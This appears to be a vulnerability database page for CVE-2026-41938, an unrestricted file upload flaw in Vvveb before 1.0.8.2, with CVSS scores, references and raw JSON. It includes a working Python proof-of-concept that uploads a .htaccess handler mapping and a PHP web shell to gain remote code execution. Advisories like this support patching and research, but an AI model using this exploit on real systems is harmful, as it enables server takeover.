Security Vulnerability Report
中文
CVE-2026-41938 CVSS 8.8 HIGH

CVE-2026-41938

Published: 2026-05-06 19:16:38
Last Modified: 2026-05-06 20:16:33

Description

Vvveb before version 1.0.8.2 contains an unrestricted file upload vulnerability in the media upload handler that allows authenticated users with media-upload permissions to bypass extension restrictions by uploading a .htaccess file to map .phtml extensions to the PHP handler. Attackers can upload a .phtml file containing arbitrary PHP code and trigger execution by sending an unauthenticated HTTP GET request to the uploaded file, resulting in remote code execution with web server privileges.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Vvveb < 1.0.8.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com" login_url = f"{target_url}/index.php?module=users&action=login" upload_url = f"{target_url}/index.php?module=media&action=upload" # Attacker credentials (Low privileges) username = "attacker" password = "password" session = requests.Session() # Step 1: Authenticate login_data = {"username": username, "password": password} session.post(login_url, data=login_data) # Step 2: Upload .htaccess to map .phtml to PHP handler # This bypasses standard extension restrictions htaccess_content = "AddHandler application/x-httpd-php .phtml" files = { 'file': ('.htaccess', htaccess_content, 'text/plain') } response = session.post(upload_url, files=files) print(f"[+] Upload .htaccess Status: {response.status_code}") # Step 3: Upload malicious .phtml file (Webshell) php_shell = "<?php system($_GET['cmd']); ?>" files = { 'file': ('shell.phtml', php_shell, 'image/jpeg') # MIME type may need spoofing } response = session.post(upload_url, files=files) print(f"[+] Upload Shell Status: {response.status_code}") # Step 4: Trigger RCE # Assuming the upload directory is accessible via /media/uploads/ exploit_url = f"{target_url}/media/uploads/shell.phtml?cmd=whoami" rce_response = session.get(exploit_url) print(f"[+] RCE Output: {rce_response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41938", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:37.680", "lastModified": "2026-05-06T20:16:32.993", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vvveb before version 1.0.8.2 contains an unrestricted file upload vulnerability in the media upload handler that allows authenticated users with media-upload permissions to bypass extension restrictions by uploading a .htaccess file to map .phtml extensions to the PHP handler. Attackers can upload a .phtml file containing arbitrary PHP code and trigger execution by sending an unauthenticated HTTP GET request to the uploaded file, resulting in remote code execution with web server privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://github.com/givanz/Vvveb/commit/54a9e846fb94192f1b31ae81d81d25c874662e6a", "source": "[email protected]"}, {"url": "https://github.com/givanz/Vvveb/releases/tag/1.0.8.2", "source": "[email protected]"}, {"url": "https://github.com/givanz/Vvveb/security/advisories/GHSA-wwmv-4g9g-p48g", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/vvveb-rce-via-media-upload-handler", "source": "[email protected]"}, {"url": "https://github.com/givanz/Vvveb/security/advisories/GHSA-wwmv-4g9g-p48g", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}